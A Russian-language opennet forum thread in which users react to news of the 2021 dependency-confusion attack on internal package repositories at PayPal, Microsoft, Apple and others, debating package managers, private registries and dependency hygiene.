Вариант для распечатки |
Пред. тема | След. тема | ||
| Форум Разговоры, обсуждение новостей | |||
|---|---|---|---|
| Изначальное сообщение | [ Отслеживать ] | ||
| "Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний" | +/– | |
| Сообщение от opennews (?), 10-Фев-21, 11:03 | ||
Представлен поразительный по своей простоте метод атаки на зависимости в приложениях, при разработке которых используются внутренние репозитории пакетов. Выявившие проблему исследователи смогли выполнить свой код на внутренних серверах 35 компаний, среди которых PayPal, Micrоsoft, Apple, Netflix, Uber, Tesla и Shopify. Взломы проводились в рамках программ Bug Bounty, согласованно с атакуемыми компаниями, и уже принесли авторам 130 тысяч долларов, выплаченных в форме вознаграждений за выявление уязвимостей (выплаты продолжают поступать)... | ||
| Ответить | Правка | Cообщить модератору | ||
| Оглавление |
| Сообщения | [Сортировка по ответам | RSS] |
| 1. Сообщение от Leftpad (?), 10-Фев-21, 11:03 | +55 +/– | |
Нужно больше зависимостей и скриптов установки. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #3, #8, #10, #38, #48, #153, #200 | ||
| 2. Сообщение от Леголас (ok), 10-Фев-21, 11:06 | +9 +/– | |
всё гениальное просто | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #51 | ||
| 3. Сообщение от Лудакрис (?), 10-Фев-21, 11:08 | –12 +/– | |
нужно больше содержательных комментариев на опеннет.ру | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 Ответы: #6 | ||
| 4. Сообщение от DildoZilla (?), 10-Фев-21, 11:14 | –6 +/– | |
Всё ещё проще -- надо было просто придумать гит и гитхабы. Смузисосы-линуксоиды, падкие на всякие цацки, а особенно на всякие там пакетирования, сами всё туда сольют. Ловись гитхабер большой и маленький. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 5. Сообщение от Аноним (5), 10-Фев-21, 11:15 | –2 +/– | |
Дыра. Раста проблема тоже касается? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #18, #25, #30, #35, #156, #199 | ||
| 6. Сообщение от Аноним (6), 10-Фев-21, 11:15 | –4 +/– | |
Нужно больше коментариев | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #3 Ответы: #12, #58 | ||
7.
Сообщение от тоже Аноним (ok), 10-Фев-21, 11:17
| +13 +/– | |
Рекомендации по защите не работают. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 8. Сообщение от Аноним (8), 10-Фев-21, 11:18 | +11 +/– | |
Не зря же в расте даже базовые возможности - во внешних модулях. Растаманы приготовили благодатную почву... | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 Ответы: #65 | ||
| 10. Сообщение от Аноним (10), 10-Фев-21, 11:20 | +9 +/– | |
Больше зависимостей богу зависимостей! Да здравствует leftpad. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 Ответы: #101, #180 | ||
| 11. Сообщение от Lex (??), 10-Фев-21, 11:20 | +1 +/– | |
> Проблема в том, что пакетные менеджеры, такие как npm .. пытаются загрузить внутренние зависимости компаний в том числе и из публичных репозиториев | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #40, #118 | ||
| 12. Сообщение от Лудакрис (?), 10-Фев-21, 11:31 | –5 +/– | |
будь осторожен в своих желаниях: мой сарказм обладает силой, разрушающей любую логику | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #6 | ||
| 14. Сообщение от ryoken (ok), 10-Фев-21, 11:32 | +1 +/– | |
Так им всем и надо. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 18. Сообщение от Лудакрис (?), 10-Фев-21, 11:36 | +1 +/– | |
а есть упоминание? читайте внимательнее, глупые аноны, это нелегко, знаю, но пытайтесь! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #5 Ответы: #21, #22, #49 | ||
| 21. Сообщение от Аноним (21), 10-Фев-21, 11:41 | +/– | |
Нет упоминанй, потому что Растом и его пакетником в не пользуются? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #18 | ||
| 22. Сообщение от Аноним (5), 10-Фев-21, 11:42 | +/– | |
Не хами! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #18 | ||
| 23. Сообщение от Аноним (-), 10-Фев-21, 11:46 | +1 +/– | |
> а также внутренние зависимости, которые не распространяются публично и загружаются из собственных репозиториев. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 24. Сообщение от Аноним (24), 10-Фев-21, 11:51 | +/– | |
А как они узнали их имена ? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #26, #29, #31 | ||
| 25. Сообщение от Ананимус (?), 10-Фев-21, 11:53 | +2 +/– | |
Нет, там нужно указывать registry, откуда качать пакет. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #5 | ||
| 26. Сообщение от Аноним (24), 10-Фев-21, 11:55 | +3 +/– | |
> как исследователь случайно обратил внимание, что в публикуемом на GitHub общедоступном коде многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей, применяемых во внутренних проектах или при реализации расширенной функциональности. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #24 Ответы: #197 | ||
| 27. Сообщение от bsdun (?), 10-Фев-21, 11:58 | +2 +/– | |
Использовали бы FreeBSD и её дерево портов, проблем бы не было! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 28. Сообщение от kissmyass (?), 10-Фев-21, 11:58 | –1 +/– | |
Я тоже немного офигел когда приватные пакеты искались на nuget.org | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #86 | ||
| 29. Сообщение от kissmyass (?), 10-Фев-21, 12:02 | +3 +/– | |
ну например если дотнет то прям в файле проекта | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #24 Ответы: #85 | ||
| 30. Сообщение от cheater (?), 10-Фев-21, 12:03 | +5 +/– | |
Не раста, а cargo. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #5 Ответы: #32, #34 | ||
| 31. Сообщение от kissmyass (?), 10-Фев-21, 12:04 | +/– | |
а если доступа к коду нет, но есть к бинарникам, то обычно одна ассембли - один nuget пакет | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #24 | ||
| 32. Сообщение от Аноним (5), 10-Фев-21, 12:09 | +3 +/– | |
Да, это проблема и не только cargo, но и всего раста, потому что все используют cargo. В общем, недостатки - это продолжение достоинств. Хотелось бы, чтобы появилась полноценная возможность опираться в пакетах (крейтах) только на то, что идет с самим дистрибутивом линукса, не компрометируя себя связями с единственным иностранным внешним репозиторием. Обычно всем пофиг на это, но есть области программирования, где совсем не пофиг. Короче, исходная тема новости лишний говорит, что бесплатного сыра [в мышеловке] не бывает. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #30 Ответы: #37 | ||
| 33. Сообщение от Fracta1L (ok), 10-Фев-21, 12:10 | +1 +/– | |
Зависимости эт плохо пнятненько | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #148 | ||
| 34. Сообщение от Аноним (68), 10-Фев-21, 12:22 | +/– | |
Если у тебя конечно есть доступ к репозиторию. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #30 | ||
| 35. Сообщение от Аноним (68), 10-Фев-21, 12:24 | –4 +/– | |
А при чем тут Раст? Он же не скриптовый вроде | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #5 Ответы: #59 | ||
| 36. Сообщение от qweqwe (?), 10-Фев-21, 12:27 | +1 +/– | |
composer у php не подвержен такой бяке? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #88 | ||
| 37. Сообщение от Siborgium (ok), 10-Фев-21, 12:28 | +1 +/– | |
cargo умеет работать с git-репозиториями и локальными пакетами. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #32 Ответы: #39, #41 | ||
| 38. Сообщение от Dzen Python (ok), 10-Фев-21, 12:50 | +/– | |
Нужно больше васянских библиотек и костылей "на вызов одной функции" | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 Ответы: #184 | ||
| 39. Сообщение от Dzen Python (ok), 10-Фев-21, 12:53 | –2 +/– | |
И? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #37 Ответы: #68, #78 | ||
| 40. Сообщение от Dzen Python (ok), 10-Фев-21, 12:54 | –2 +/– | |
Ты что! Там жЫ уважаемые девляпсы и сениоры! Они такой код пишуть - аж закачаешься (от эмоций!)! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #11 Ответы: #54 | ||
| 41. Сообщение от Аноним (5), 10-Фев-21, 12:54 | +3 +/– | |
Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать только то, что идет с дистрибутивом, вообще, не залезая в интернет (например, если это запрещено или даже, если нет интернета)? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #37 Ответы: #70, #128, #134, #149 | ||
| 42. Сообщение от Аноним (42), 10-Фев-21, 12:54 | +3 +/– | |
>многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #43, #44, #46, #87 | ||
| 43. Сообщение от Аноним (-), 10-Фев-21, 12:57 | +3 +/– | |
Это где так ? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #42 Ответы: #151 | ||
| 44. Сообщение от Dzen Python (ok), 10-Фев-21, 12:58 | –2 +/– | |
В нормальных компаниях к тому моменту, когда они выкладывают код/имеют зрелый продукт на руках уже есть набор нормальных опенсорцных .so'шников ИЛИ свой набор отлаженных, оптимизированных homebrew-либ. Ни или в сама крайнем случае - нормальная купленная библитека на внутреннем сервере. А не набор васянских лефтпадов из NPM | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #42 | ||
| 45. Сообщение от Gogi (??), 10-Фев-21, 13:02 | +2 +/– | |
Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате и надеетесь, что хакеры это пропустят?? :) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #47, #89, #139, #171 | ||
| 46. Сообщение от Аноним (46), 10-Фев-21, 13:05 | +1 +/– | |
Если уж этим на "проверены службой безопасности" не хватает, то где тогда "нормальные" водятся? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #42 | ||
| 47. Сообщение от Аноним (-), 10-Фев-21, 13:06 | +/– | |
Может наоборот ? Там где комерческое - то пофиг, барин то платит. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #45 Ответы: #114 | ||
| 48. Сообщение от Аноним (48), 10-Фев-21, 13:08 | +7 +/– | |
Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использовал этот проект как платформу для 1000 других проектов, то весь код между проектами нужно копировать. И не в коем случае не использовать менеджеры зависимости! И когда ты фиксишь например 100 функций-однострочников в одном проекте, то все их вручную нужно копировать в 100 других проектов. Гениально, надо продвигать эту идею в массы. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #1 Ответы: #84, #102, #185 | ||
| 49. Сообщение от Аноним (48), 10-Фев-21, 13:12 | +1 +/– | |
Я не тот анон, но там написано "в других системах, таких как..." и дальше приводится пример (именно пример, а не весь список!!!) систем "таких как". То есть из текста следует, что проблеме может быть подвержен любой менеджер зависимостей даже если он не перечислен в данной статье. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #18 Ответы: #113 | ||
| 50. Сообщение от Андрей (??), 10-Фев-21, 13:13 | +2 +/– | |
Так я и не понял, это баг или фича. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #60, #62 | ||
| 51. Сообщение от AHOHUM (?), 10-Фев-21, 13:14 | –2 +/– | |
Природа красива в простоте сложности и сложности простоты. Не удаётся скрыться от сложности в простоту. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #2 Ответы: #194 | ||
| 52. Сообщение от Аноним (58), 10-Фев-21, 13:15 | –2 +/– | |
И как раст от такого спасет? А вы говорите безопасный язык. А раст такая же дырень со своим крейтсом. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #63, #172 | ||
| 54. Сообщение от AHOHUM (?), 10-Фев-21, 13:20 | +3 +/– | |
Не пишуть! А рисуютЪ!!! :)) Баги фиксят в продукте исправлением пары строк в конфигурации запуска. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #40 | ||
| 55. Сообщение от Аноним (55), 10-Фев-21, 13:21 | –1 +/– | |
Не глупо ли это само по себе - выкладывать на публику проекты, зависящие от неопубликованных библиотек. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #91 | ||
| 58. Сообщение от Аноним (58), 10-Фев-21, 13:24 | +1 +/– | |
Нужно больше подстрекателей к сарказму. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #6 | ||
| 59. Сообщение от pda (?), 10-Фев-21, 13:26 | +/– | |
Проблема не в языках, а в пакетных менеджерах. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #35 | ||
| 60. Сообщение от Аноним (58), 10-Фев-21, 13:27 | +1 +/– | |
Это фича. А сабж это атака через фичу. Почти что социнженерия. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #50 | ||
| 61. Сообщение от Аноним (61), 10-Фев-21, 13:27 | +1 +/– | |
запускайте npm/pip/gems install на машинах разработчиков без изоляции, он вам и shell установит пользователям для кражи ssh-keys агента и вместе с вашими криптокошельками и рабочими местами. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #125 | ||
| 62. Сообщение от Аноним (62), 10-Фев-21, 13:28 | –1 +/– | |
Это квантовое программирование, багофича Шредингера. Будущее наступило. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #50 | ||
| 63. Сообщение от pda (?), 10-Фев-21, 13:30 | +/– | |
crate не подвержен этой проблеме. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #52 Ответы: #73 | ||
| 64. Сообщение от JL2001 (ok), 10-Фев-21, 13:30 | +2 +/– | |
чо там, пацаны, давно в vlc-ppa публиковали linux-generic-7.0.1 ? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 65. Сообщение от Аноним (65), 10-Фев-21, 13:30 | +5 +/– | |
https://www.reddit.com/r/rust/comments/lgl7bf/is_cargo_vulne.../ | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #8 Ответы: #147 | ||
| 66. Сообщение от JL2001 (ok), 10-Фев-21, 13:36 | –2 +/– | |
> добавив в скрипт, запускаемый перед началом установки (preinstall в NPM), код для сбора информации о системе и отправки полученных сведений на внешний хост | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #76 | ||
| 68. Сообщение от Аноним (68), 10-Фев-21, 13:38 | +1 +/– | |
В уже скомпилированном состоянии он будет содержать крейты в себе. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #39 Ответы: #79, #186 | ||
| 70. Сообщение от Аноним (68), 10-Фев-21, 13:43 | +1 +/– | |
Позволен git, путь, и crates.io. Можно создать свой https://github.com/rust-lang/crates.io если вы совсем большие, и указать в проекте адрес на него. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #41 Ответы: #72, #119 | ||
| 71. Сообщение от PetrG (ok), 10-Фев-21, 13:44 | +3 +/– | |
Мой любимый кошмар на работе - почти каждый проект закачивает пол интернета при сборке. И мало кто понимает что там. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #93 | ||
| 72. Сообщение от Аноним (68), 10-Фев-21, 13:45 | –1 +/– | |
Называется это (crates.io) registry https://doc.rust-lang.org/cargo/reference/registries.html | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #70 | ||
| 73. Сообщение от Платные Эксплоиты и Шифровальщики (?), 10-Фев-21, 13:47 | –4 +/– | |
Исследования по crate в закрытом доступе, оплата на Patreon. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #63 | ||
| 74. Сообщение от Аноним (74), 10-Фев-21, 13:49 | +/– | |
А как же Perl? :3 | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #75, #81 | ||
| 75. Сообщение от Аноним (61), 10-Фев-21, 13:50 | +/– | |
Залатали временно | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #74 | ||
| 76. Сообщение от Аноним (61), 10-Фев-21, 13:50 | +1 +/– | |
Оно и без рута отлично линукс юзерам установит сервисы. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #66 | ||
| 77. Сообщение от Аноним (77), 10-Фев-21, 13:55 | +/– | |
вот тебе и DevУпс! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 78. Сообщение от cheater (?), 10-Фев-21, 13:57 | +2 +/– | |
> На локальные пакеты он сможет сослаться в уже скомпилированном состоянии? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #39 | ||
| 79. Сообщение от Аноним (8), 10-Фев-21, 13:58 | –2 +/– | |
> В нем нет динамической линковки, поскольку нет стабильно ABI | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #68 Ответы: #90 | ||
| 80. Сообщение от Аноним (80), 10-Фев-21, 14:01 | +/– | |
Очевидная атака. Удивительно что такие компании при сборке используют зависимости с инетов и не проверяют даже их подписи. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #82, #116 | ||
| 81. Сообщение от Аноним (81), 10-Фев-21, 14:06 | +2 +/– | |
> А как же Perl? :3 | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #74 Ответы: #189 | ||
| 82. Сообщение от Аноним (61), 10-Фев-21, 14:06 | +1 +/– | |
Проверки подписи не у всех есть, да и проверяет вначале публичные репы и только потом приватные. Компании сами должен присылать патчи. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #80 Ответы: #110 | ||
| 83. Сообщение от Аноним (74), 10-Фев-21, 14:07 | +4 +/– | |
Для пистона это норма. Даже прожекты с мегатоннами звест на гитхубе, имеют мегатонны же проблем с зависимостями и всякого дерьма в своем составе. npm уже вообще что-то вроде мема. Go ждёт такое же будущее ибо язык рассчитан на идиотов. Это не значит что на нём пишут токма дураки, но даун-френдли политика, не доводит до добра. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #92 | ||
| 84. Сообщение от YetAnotherOnanym (ok), 10-Фев-21, 14:19 | +11 +/– | |
Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод сесть, подумать, и выбрать какую-то более другую платформу. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #48 Ответы: #183 | ||
| 85. Сообщение от Аноним (24), 10-Фев-21, 14:20 | –1 +/– | |
В смысле ? Разве оно первым делом не локальный файл ищет ? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #29 Ответы: #100 | ||
| 86. Сообщение от JL2001 (ok), 10-Фев-21, 14:21 | +/– | |
> Я тоже немного офигел когда приватные пакеты искались на nuget.org | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #28 Ответы: #103 | ||
| 87. Сообщение от JL2001 (ok), 10-Фев-21, 14:23 | +/– | |
> Ставится со своего, все чужие пакеты в котором проверены службой безопасности. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #42 Ответы: #106 | ||
| 88. Сообщение от Аноним (88), 10-Фев-21, 14:24 | +/– | |
Если сам не наделаешь | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #36 | ||
| 89. Сообщение от JL2001 (ok), 10-Фев-21, 14:28 | –1 +/– | |
> Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #45 Ответы: #115, #124 | ||
| 90. Сообщение от Ordu (ok), 10-Фев-21, 14:30 | –2 +/– | |
Ничего не делали, я уже говорил в соседнем топике. Раскручивали язык, чтобы взять приз "most loved language" на stackoverflow. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #79 | ||
| 91. Сообщение от JL2001 (ok), 10-Фев-21, 14:32 | +3 +/– | |
> Не глупо ли это само по себе - выкладывать на публику проекты, | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #55 | ||
| 92. Сообщение от Аноним (58), 10-Фев-21, 14:44 | –1 +/– | |
Ну все значит нам нужна единая платформа, которая будет монолитна полностью запрещающая сторонние зависимости и имеет богатую дефолтную библиотеку. Только как её сделать? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #83 Ответы: #97, #104 | ||
| 93. Сообщение от Аноним (58), 10-Фев-21, 14:46 | +1 +/– | |
Выкачать всё в локальный репозиторий, сделать локальные пакеты. Запретить качать из инета, но не полностью. И ждать когда из интернет к тебе прилетит его клон. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #71 Ответы: #99 | ||
| 94. Сообщение от Аноним (24), 10-Фев-21, 14:54 | –2 +/– | |
А что разве в GO уже переделали ? Раньше в GO чтобы цеплять файлы с гитхаба нужно было писать "github.com/mattn/go-sqlite3" | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #112, #181 | ||
| 96. Сообщение от Оуноуним (?), 10-Фев-21, 14:56 | +1 +/– | |
Чем проще разработка, тем проще эксплуатация уязвимостей. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #98 | ||
| 97. Сообщение от Аноним (97), 10-Фев-21, 14:56 | +2 +/– | |
Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп проги весом в десяток килобайт ? Или так не учили ? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #92 Ответы: #108 | ||
| 98. Сообщение от Аноним (24), 10-Фев-21, 14:58 | –1 +/– | |
Тем проще ее заметить. Вон в ядре поди чего только нет ... исходники то открыты а толку от этого. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #96 Ответы: #126 | ||
| 99. Сообщение от Аноним (61), 10-Фев-21, 14:58 | +4 +/– | |
Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #93 Ответы: #107 | ||
| 100. Сообщение от kissmyass (?), 10-Фев-21, 15:03 | +/– | |
> В смысле ? Разве оно первым делом не локальный файл ищет ? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #85 | ||
| 101. Сообщение от Аноним (-), 10-Фев-21, 15:04 | +/– | |
Да здравствует Haskell! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #10 | ||
| 102. Сообщение от Аноним (102), 10-Фев-21, 15:06 | +1 +/– | |
Так писали наши деды. Раньше позорным считалось переиспользование кода не только в соседних отделах, но даже в рамках одной программы. Если ты не можешь написать оригинальный код ad-hoc, то ты даже не программист, ты просто макака-копипастер. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #48 Ответы: #157, #205 | ||
| 103. Сообщение от kissmyass (?), 10-Фев-21, 15:09 | –1 +/– | |
>> Я тоже немного офигел когда приватные пакеты искались на nuget.org | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #86 Ответы: #109 | ||
| 104. Сообщение от Аноним (74), 10-Фев-21, 15:15 | +/– | |
Проблема не в зависимостях, а в навыках и культуре разработки, которые хромают у упомянутых язычков | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #92 Ответы: #187 | ||
| 105. Сообщение от Erley (ok), 10-Фев-21, 15:23 | +4 +/– | |
Странно что никто не озадачился проверкой базовых образов на которых собираются докер-контейнеры. Часто вижу как люди там используют какие-то мутные сборки убунты и тп. Вот где раздолье для хакеров! | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #144 | ||
| 106. Сообщение от www2 (??), 10-Фев-21, 15:33 | +3 +/– | |
Пользователи Windows, скачавшие её с торрентов у Васяна и потом качающие на неё софт с кряками по первой ссылке из поиска - вот настоящие эльфы и наркоманы. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #87 Ответы: #132 | ||
| 107. Сообщение от JL2001 (ok), 10-Фев-21, 15:50 | +1 +/– | |
> Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари? | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #99 Ответы: #142 | ||
| 108. Сообщение от JL2001 (ok), 10-Фев-21, 15:52 | –1 +/– | |
> Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #97 | ||
| 109. Сообщение от JL2001 (ok), 10-Фев-21, 15:55 | +/– | |
>>> Я тоже немного офигел когда приватные пакеты искались на nuget.org | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #103 | ||
| 110. Сообщение от Аноним (110), 10-Фев-21, 15:59 | +1 +/– | |
Скачивают руками, локально и только потом собираю. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #82 | ||
| 111. Сообщение от Брат Анон (ok), 10-Фев-21, 16:09 | –1 +/– | |
Так-то вендоринг в golang великая сила)) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| 112. Сообщение от Брат Анон (ok), 10-Фев-21, 16:10 | +1 +/– | |
`go mod vendor` тебе в помощь. В голанге не так. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #94 | ||
| 113. Сообщение от An O Nim (?), 10-Фев-21, 16:13 | +3 +/– | |
Проблема ещё шире: переменчивость артефактов во внешних сетях. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #49 Ответы: #195 | ||
| 114. Сообщение от An O Nim (?), 10-Фев-21, 16:18 | +/– | |
Считается, что так тоже не катит. Т.к. в полезного в коммерческом вырастет тот, кто заботится. Двуличка с хорошим результатом - редкость. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #47 | ||
| 115. Сообщение от An O Nim (?), 10-Фев-21, 16:24 | –2 +/– | |
Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. Репы RHEL как раз внутренние репо самого RHEL. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #89 Ответы: #133 | ||
| 116. Сообщение от Страдивариус (?), 10-Фев-21, 16:46 | +2 +/– | |
Анониму всё очевидно, но 130К грина ушло опять не ему =) | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #80 | ||
| 117. Сообщение от Аноним (117), 10-Фев-21, 17:01 | –1 +/– | |
Хахаха. npn, pip , rubygems. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #127 | ||
| 118. Сообщение от YetAnotherOnanym (ok), 10-Фев-21, 17:07 | +1 +/– | |
Скорее уволят начотдела, у которого програмеры пишут недостаточно быстро. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #11 | ||
| 119. Сообщение от Аноним (119), 10-Фев-21, 17:14 | +1 +/– | |
написал вместо того что бы сказать нет. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #70 | ||
| 120. Сообщение от Аноним (120), 10-Фев-21, 17:17 | +1 +/– | |
Похоже, что пакетный ад Javascript дал о себе знать. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #135 | ||
| 121. Сообщение от Аноним (120), 10-Фев-21, 17:24 | –2 +/– | |
Вообще-то когда скачивается пакет, должна подпись проверяться. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #129, #136 | ||
| 122. Сообщение от mumu (ok), 10-Фев-21, 17:24 | +/– | |
Зачем тестировать? Просто пользуйтесь! Пользуйтесь все! Пока гром не грянет, мужик не перекрестится. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #130, #138 | ||
| 123. Сообщение от Аноним (123), 10-Фев-21, 17:49 | +2 +/– | |
Всего 130 тысяч долларов, за такую черную ды ру, вас на.. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Ответы: #150 | ||
| 124. Сообщение от пох. (?), 10-Фев-21, 17:50 | +1 +/– | |
> зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #89 | ||
| 125. Сообщение от пох. (?), 10-Фев-21, 17:51 | +/– | |
> запускайте npm/pip/gems install на машинах разработчиков без изоляции | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #61 Ответы: #154 | ||
| 126. Сообщение от пох. (?), 10-Фев-21, 17:53 | –1 +/– | |
> Тем проще ее заметить. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #98 Ответы: #145 | ||
| 127. Сообщение от пох. (?), 10-Фев-21, 17:56 | –1 +/– | |
Миллиарды зависимостей зависимостей от зависимостей - как раз успешно уже сделали. | ||
| Ответить | Правка | Наверх | Cообщить модератору | ||
| Родитель: #117 | ||
